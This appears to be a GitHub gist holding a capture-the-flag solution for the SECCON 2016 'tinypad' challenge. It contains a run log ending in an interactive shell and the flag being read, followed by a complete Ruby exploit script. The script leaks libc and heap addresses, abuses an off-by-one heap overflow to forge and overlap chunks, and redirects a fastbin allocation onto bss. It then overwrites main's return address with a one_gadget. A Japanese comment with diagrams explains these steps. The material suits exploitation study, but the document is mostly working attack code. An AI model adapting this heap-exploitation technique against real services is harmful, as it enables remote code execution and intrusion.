Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created December 11, 2016 08:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Charo-IT/c1931eb6a1b1bb80140d51822f4f4c51 to your computer and use it in GitHub Desktop.
Save Charo-IT/c1931eb6a1b1bb80140d51822f4f4c51 to your computer and use it in GitHub Desktop.
SECCON 2016 Quals - tinypad
$ ruby tinypad.rb r
[*] connected
[*] leak libc base
libc base = 0x7f4d3bc3d000
[*] leak heap base
heap base = 0x233b000
[*] create fake chunk
[*] consolidate fake chunk
[*] overlap chunks
[*] free fake fastbin chunk
[*] overwrite fastbin chunk->fd
[*] allocate a chunk on bss
[*] leak stack address
environ = 0x7ffdb5e54148
[*] overwrite return address of main
[*] launch shell
[*] interactive mode
id
uid=10210 gid=1001(tinypad) groups=1001(tinypad)
ls -la
total 44
drwxr-xr-x 2 root tinypad 4096 Dec 10 16:54 .
drwxr-xr-x 4 root root 4096 Dec 10 16:44 ..
-rw-r--r-- 1 root tinypad 220 Dec 10 16:44 .bash_logout
-rw-r--r-- 1 root tinypad 3637 Dec 10 16:44 .bashrc
-rw-r--r-- 1 root tinypad 675 Dec 10 16:44 .profile
-rw-r--r-- 1 root tinypad 101 Dec 10 16:54 flag.txt
-rwxr-xr-x 1 root tinypad 73 Dec 10 16:28 run.sh
-rwxr-xr-x 1 root tinypad 13992 Dec 10 16:26 tinypad-0e6d01f582e5d8f00283f02d2281cc2c661eba72
cat flag.txt
Congratz! Yo got the flag!
SECCON{5m45h1n9_7h3_574ck_f0r_fun_4nd_p40f17_w1th_H0u53_0f_31nh3rj4r}
exit
[*] end interactive mode
[*] connection closed
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
remote = ARGV[0] == "r"
if remote
host = "tinypad.pwn.seccon.jp"
port = 57463
libc_offset = {
"main_arena" => 0x3be760,
"environ" => 0x5e9178,
"one_gadget_rce" => 0xe66bd
}
else
host = "localhost"
port = 54321
libc_offset = {
"main_arena" => 0x3be760,
"environ" => 0x5e9178,
"one_gadget_rce" => 0xe66bd
}
end
offset = {
"slots" => 0x602140,
}
class PwnTube
def recv_until_prompt
recv_until("(CMD)>>> ")
end
end
def tube
@tube
end
def add_memo(size, content)
tube.recv_until_prompt
tube.sendline("A")
tube.recv_until("(SIZE)>>> ")
tube.sendline("#{size}")
tube.recv_until("(CONTENT)>>> ")
tube.sendline(content)
end
def delete_memo(index)
tube.recv_until_prompt
tube.sendline("D")
tube.recv_until("(INDEX)>>> ")
tube.sendline("#{index}")
end
def edit_memo(index, content)
tube.recv_until_prompt
tube.sendline("E")
tube.recv_until("(INDEX)>>> ")
tube.sendline("#{index}")
tube.recv_until("(CONTENT)>>> ")
tube.sendline(content)
tube.recv_until("(Y/n)>>> ")
tube.sendline("Y")
end
PwnTube.open(host, port) do |t|
@tube = t
puts "[*] leak libc base"
add_memo(256, "AAAAAAAA")
add_memo(256, "AAAAAAAA")
add_memo(256, "AAAAAAAA")
add_memo(256, "AAAAAAAA")
delete_memo(3)
tube.recv_until("INDEX: 3")
libc_base = tube.recv_capture(/CONTENT: (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58
puts "libc base = 0x%x" % libc_base
puts "[*] leak heap base"
delete_memo(1)
heap_base = tube.recv_capture(/CONTENT: (.+)\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x220
puts "heap base = 0x%x" % heap_base
delete_memo(2)
delete_memo(4)
puts "[*] create fake chunk"
add_memo(0xf8, "AAAAAAAA")
add_memo(0xf8, "AAAAAAAA")
add_memo(0xf8, "AAAAAAAA")
add_memo(0x31, "AAAAAAAA")
delete_memo(1)
payload = ""
payload << "\0" * 0xd0
payload << [0, 0x21].pack("Q*") # size
payload << [heap_base + 0xe0, heap_base + 0xe0].pack("Q*") # fd, bk
payload << [0x20].pack("Q") # prev_size
add_memo(0xf8, payload)
puts "[*] consolidate fake chunk"
delete_memo(2)
puts "[*] overlap chunks"
payload = ""
payload << [0].pack("Q") * 3
payload << [0x121].pack("Q") # size
add_memo(payload.length, payload)
puts "[*] free fake fastbin chunk"
delete_memo(1)
delete_memo(2)
puts "[*] overwrite fastbin chunk->fd"
payload = ""
payload << "\0" * 0xd0
payload << [0, 0x31].pack("Q*")
payload << [offset["slots"] + 0x28].pack("Q") # fd
add_memo(0xf8, payload)
puts "[*] allocate a chunk on bss"
delete_memo(1)
add_memo(0x28, "AAAAAAAA")
add_memo(0x28, [libc_base + libc_offset["environ"]].pack("Q"))
puts "[*] leak stack address"
tube.recv_until("INDEX: 4")
environ = tube.recv_capture(/CONTENT: (.+)\n/m)[0].ljust(8, "\0").unpack("Q")[0]
puts "environ = 0x%x" % environ
puts "[*] overwrite return address of main"
edit_memo(2, [environ - 0xf0].pack("Q"))
edit_memo(4, [libc_base + libc_offset["one_gadget_rce"]].pack("Q"))
puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("Q")
tube.recv
tube.interactive
end
@Charo-IT
Copy link
Author

Add MemoしたものをDelete Memoするとダングリングポインタが残るので、それを使うとヒープやlibcのアドレスが分かる

Add Memoのread_untilのnull終端時にoff-by-one bofがあるので、

(1) 隣接するチャンクA, Bを用意する
+-------------+-------------+
|      A      |      B      |
+-------------+-------------+

(2) 偽チャンクを作りつつ、off-by-one bofでBのprev_inuseを消す
+------+------+-------------+
|  A   | fake |x     B      |
+------+------+-------------+

(3) Bをfree
+------+--------------------+
|  A   |                    |
+------+--------------------+
\_____________/
 本来のAの範囲

(4) fastbinサイズのCを確保
+------+---+--+-------------+
|  A   | C |  |             |
+------+---+--+-------------+
\_____________/
 本来のAの範囲

(5) Cもfree
+------+---+--+-------------+
|  A   |   |  |             |
+------+---+--+-------------+
\_____________/
 本来のAの範囲

(6) Aを本来のサイズで確保し直すと、free済のCを上書きできるようになる
+------+---+--+-------------+
|  A   |XXX|  |             |
+------+---+--+-------------+
\_____________/
 本来のAの範囲

free済のCのfdを上書きして、bssにメモリが確保されるようにした(あまり覚えていないがこんな感じだった気がする)

bssへのメモリ確保によって任意アドレスの読み書きができるようになるので、
environからスタックのアドレスをリークし、mainからのリターンアドレスを書き換えてシェルを取った

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment